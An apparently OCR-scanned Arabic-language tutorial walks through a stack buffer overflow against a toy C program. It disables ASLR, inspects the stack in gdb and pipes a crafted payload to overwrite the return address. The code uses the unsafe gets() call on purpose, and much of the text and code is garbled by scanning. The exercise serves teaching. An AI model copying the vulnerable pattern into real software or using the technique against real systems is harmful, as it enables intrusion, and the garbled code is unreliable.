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cat /proc/sys/kernel/randomize_va_space
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sudo echo 0 > /proc/sys/kernel/randomize_va space
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#include<stdio.h>
Getlnput()
{
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gets(buffer); e <
puts(buffer);
}
main()
{
Getlnput();
return O;
}
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mohamed@mohamed-desktop:~/Desktop/our-blog$ ./first
sh-team

sh-team
mohamed@mohamed-desktop:~/Desktop/our-blog$
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#include<stdio.h>

Getlnput()
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charbuffer[8];<::]bm.|l sl oo sl o5 0SS o o] s
gets(buffer);
puts(buffer);
§
main()
{
Getinput): o il sleswwdl al> o sin
return 0; Jluwd) o=l alay
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mohamed@mohamed-desktop:~$ gdb ./first
GNU gdb (GDB) 7.2-ubuntu



Copyright (C) 2010 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.

This GDB was configured as "1686-linux-gnu".

For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...

Reading symbols from /home/mohamed/first...(no debugging symbols found)...done.

(gdb)

winDebug ¢ sexdiu agauail 5315 Clasal GaSillh 3 sall Debug J) dals geabi ) Jads o5 Y
Sl Lo
http://msdl.microsoft.com/download/symbols/debuggers/dbg x86 6.11.1.404.msi
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(gdb) list 1

1 #include <stdio.h>
2

3 Getlnput()

4 {

5 char buffer[8];
6

7 gets(buffer);

8

9 puts(buffer);
10 }

(gdb)

11 main()

12

13 {

14 Getlnput();

15 return 0;

16

17 }

(gdb) break 14

Breakpoint 1 at 0x8048484: file first.c, line 14.
break 7

Breakpoint 2 at 0x8048455: file first.c, line 7.

run S o3

Getlnput e zali jll (8 gi

ey QAJ\E‘)S\H\Q,Q&JMQSLJ&]@L,! dbg J d';\a).a\‘; Sl 5 Lsea
PN P RTY C).uﬁ k_\lA:\laj‘)g_Liw /he]p x S| asnlé 3\3),_.«3 X/ s ‘._?J\ B


http://msdl.microsoft.com/download/symbols/debuggers/dbg_x86_6.11.1.404.msi

x/8xw $esp

Dt R
word aass Jlewny (el () sic 8 samys esp Jl Adle 1% Al 3l Aoy (e W aolal

x/8xw $esp
Oxbfftf358:  Oxbffff3d8 0x00145ce7 0x00000001 Oxbffff404
Oxbffff368:  Oxbffff40c  Oxb7fff848  Oxbffffdb4  Oxfifififf

main (pelh galall JUu) 138 5 top of stack s4 Oxbffff3d8 ) sl
gets e b g ALl g iS5 Y

ele diaY) any (3 8l (5 55 WL (i yas a 85 YY)

x/8xw $esp
Oxbffff344: 0x0011eb80 0x0804847b 0x00288ff4  Oxbffff358
Oxbfftf354: 0x08048458 Oxbffff3d8 0x00145ce7 0x00000001

(osha o sha fpall Gladat (a jal) disass main <SS Y

disass main
Dump of assembler code for function main:
0x08048450 <+0>: push %ebp
0x08048451 <+1>: mov  %esp,%ebp
0x08048453 <+3>: call 0x8048432 <Getlnput> sleiuwl) o5 L
0x08048458 <+8>: mov  $0x0,%eax ssall o) sic Jay sle i) aay N dolaall (g3a
0x0804845d <+13>: pop %ebp
0x0804845e <+14>: ret
End of assembler dump.

0x08048458 () siall Jax3 4l
zuals s L Jiasasall Gl sic s
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x/8xw $esp
Oxbffff344:  0x0011eb80 0x0804847b 0x00288ff4  Oxbffff358
Oxbffff354:  0x08048458 Oxbffff3d8  0x00145ce7 0x00000001

0x0011eb80 Aleally (aibia aliia & gain 9o g8 5 Liagy Lo 128
0X0804847b Al Jala &l yurial) 48 Jass s (Sl 128
0X 002884 41 413

0xbffff358 ) sl 13 ebp
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disass main
Dump of assembler code for function main:
0x08048450 <+0>: push %ebp
0x08048451 <+1>: mov  %esp,%ebp
0x08048453 <+3>: call 0x8048432 <Getlnput>
0x08048458 <+8>: mov  $0x0,%eax

0x0804845d <+13>: pop %ebp
0x0804845e <+14>: ret

End of assembler dump.

(gdb) x/8xw Sesp

Oxbffff344:  0x0011eb80 0x0804847b 0x00288ff4 Oxbffff358
Oxbffff354:  0x08048458 Oxbffff3d8  0x00145ce7 0x00000001
(gdb) x/1xw $Sebp
Oxbffff350: Oxbffff358
A =iy Can 16 OV d3a), pai Jia) e llage g iS5 (Y

(gdb) s

AAAAAAAAAAAA

14 puts(buffer);

(gdb) x/8xw Sesp

Oxbfftf344: Oxbffff348 0x41414141 0x41414141 0x41414141
Oxbffff354: 0x41414141 Oxbffff3d8  0x00145ce7 0x00000001
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#include <stdio.h>

NotExcuted()

{
printf ("NotExcuted\n");
exit(0);

z}etlnput()

{ char buffer[8];
gets(buffer);
puts(buffer);

r}nain()

{

Getlnput();



return 0;
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mohamed@mohamed-desktop:~/Desktop/our-blog$ printf "hhh\n"
hhh

mohamed@mohamed-desktop:~/Desktop/our-blog$
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suaall Al s 55 Lelee (po (0550 Lo 2n Lelnad Cag GetInput A1s sledivl ey ;o8 44 a 683 G s (3 Jaal)
.main (el (A a5 ol (= Y NotExcuted
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disass NotExcuted <iss

disass NotExcuted

Dump of assembler code for function NotExcuted:
0x08048414 <+0>: push %ebp
0x08048415 <+1>: mov  %esp,%ebp
0x08048417 <+3>: sub  $0x4,%esp
0x0804841a <+6>: movl $0x8048520,(%esp)

0x08048421 <+13>: call 0x8048340 <puts@plt>
0x08048426 <+18>: movl $0x0,(%esp)
0x0804842d <+25>: call 0x8048350 <exit@plt>

End of assembler dump.
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printf "AAAAAAAAAAAA\x14\x84\x04\x08" | ./first

Gabaill asy
printf "AAAAAAAAAAAA\x14\x84\x04\x08" | ./first
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NotExcuted

mohamed@mohamed-desktop:~/Desktop/our-blog$
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http://www.cs.umd.edu/~srhuang/teaching/cmsc212/gdb-tutorial-handout.pdf
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